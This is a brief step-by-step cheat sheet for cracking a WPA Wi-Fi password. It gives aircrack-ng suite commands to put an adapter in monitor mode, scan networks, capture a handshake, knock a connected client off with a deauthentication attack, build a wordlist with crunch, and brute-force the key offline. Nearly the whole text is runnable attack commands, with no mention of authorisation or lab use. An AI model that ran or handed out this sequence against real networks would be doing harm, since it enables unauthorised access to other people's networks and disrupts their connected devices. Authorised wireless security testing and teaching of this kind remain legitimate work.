WPA

Attack that captures a WPA handshake and attempts to recover the network password using a wordlist.

Setup

Command 
ip addr
Description

Displays the MAC address of the wireless adapter.

Command 
airmon-ng start wlan0
Description

Puts the wireless adapter into monitor mode.

Scanning

Command 
airodump-ng wlan0mon
Description

Scans nearby networks on the 2.4GHz band and displays their BSSID and channel.

Command 
airodump-ng --band a wlan0mon
Description

Scans nearby networks on the 5GHz band and displays their BSSID and channel.

Capture

Command 
airodump-ng --channel [channel_no] --bssid [BSSID] --write handshake-file wlan0mon
Description

Captures traffic and saves the WPA handshake when a client connects (2.4GHz).

Command 
airodump-ng --band a --channel [channel_no] --bssid [BSSID] --write handshake-file wlan0mon
Description

Captures traffic and saves the WPA handshake when a client connects (5GHz).

Execution

Command 
aireplay-ng --deauth 5 -a [BSSID] -c [STATION] wlan0mon
Description

Disconnects a client to force reconnection and capture the handshake.

Wordlist

Command 
crunch [min_len] [max_len] [charset] -o [wordlist_file]
Description

Generates a custom wordlist with the given length and character set.

Command 
use a prebuilt wordlist, e.g. mywordlist.txt
Description

Alternatively, use a ready-made wordlist instead of generating one manually.

Cracking

Command 
aircrack-ng handshake-file-01.cap -w mywordlist
Description

Attempts to crack the WPA password using the wordlist.